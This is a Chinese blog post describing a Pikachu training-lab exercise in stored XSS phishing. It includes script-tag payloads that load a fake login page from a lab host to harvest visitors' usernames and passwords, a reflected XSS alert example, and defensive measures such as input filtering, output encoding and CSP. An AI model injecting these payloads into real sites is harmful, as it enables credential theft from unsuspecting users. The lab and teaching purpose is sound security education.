Pikachu-xss实验案例-钓鱼

攻击思路:提供一个与攻击网站相似的登陆的钓鱼页面;让用户输入登陆信息

查看项目源代码,首先访问 fish.php ,提供输入的登陆框,

从登陆框获取到账号、密码后,重定向到xfish.php 做保存;

因此,需要一个payload,让他跳转到fish.php 页面; 使用xss 的存储型 漏洞,构造payload,弹出输入账号、密码的窗口

<script src="http://192.168.3.224:8082/pkxss/xfish/fish.php"></script>

弹出登录框,存储型xss ,后续每次用户访问 xss_stored.php页面,都会弹出登录框,诱导用户输入账号密码;从而获取用户的账号信息。

### Pikachu XSS 钓鱼攻击原理 跨站脚本(XSS)漏洞允许攻击者向网页注入恶意脚本,这些脚本会在其他用户的浏览器中执行。对于反射型XSS,在用户请求被处理并返回给客户端之前,服务器会将未经适当验证或转义的数据嵌入到响应页面中[^1]。 存储型XSS则涉及持久保存于数据库或其他后端系统的恶意数据,当受害者访问受影响的应用程序部分时触发该代码执行[^2]。 #### 反射型XSS实例 考虑`http://10.0.0.101:90/pikachu/vul/xss/xss_reflected_get.php`这样的URL参数未经过滤就直接显示在HTML输出里的情况。如果存在如下链接: ```html <a href="http://10.0.0.101:90/pikachu/vul/xss/xss_reflected_get.php?name=<script>alert('XSS')</script>">点击这里</a> ``` 一旦用户点击此链接,则其浏览器将会加载目标站点并将提供的名称作为查询字符串的一部分发送出去;由于缺乏足够的防护措施,这会导致JavaScript弹窗被执行。 #### 存储型XSS案例 更进一步地看存储型的例子,假设有一个评论区功能允许提交包含HTML标签的内容,并且这些内容会被存入数据库并在后续展示给所有访客查看。此时如果有用户输入了类似于下面的代码片段: ```html <script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script> ``` 那么每当有新访客浏览含有这条记录的文章列表页或者其他任何地方读取到了这段JS文件路径的时候,就会自动下载并运行来自指定位置上的外部资源——即所谓的“钓鱼页面”,它可能模仿合法网站界面来欺骗用户提供敏感信息如登录凭证等。 ### 防御方法 为了防止上述类型的攻击发生,应该采取以下几种策略之一或多组合起来使用: - **输入过滤**:确保所有的用户输入都通过严格的正则表达式匹配来进行预处理,拒绝不符合预期模式的数据项。 - **上下文感知编码**:依据最终呈现的位置不同而采用相应的字符实体转换方式,比如用于属性值内的双引号应当变成 `"` 或者单引号变为 `'` ,以此类推。 - **HTTP头部设置**:利用Content Security Policy (CSP) 来声明哪些来源是可以信任的安全域外联接点,从而阻止非法脚本加载尝试。 - **框架自带机制**:现代Web开发库通常内置了一些安全特性,默认情况下能够帮助开发者减少许多常见的安全隐患风险。 ```javascript // 使用模板引擎中的转义函数 templateEngine.render('<%= user_input %>'); ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值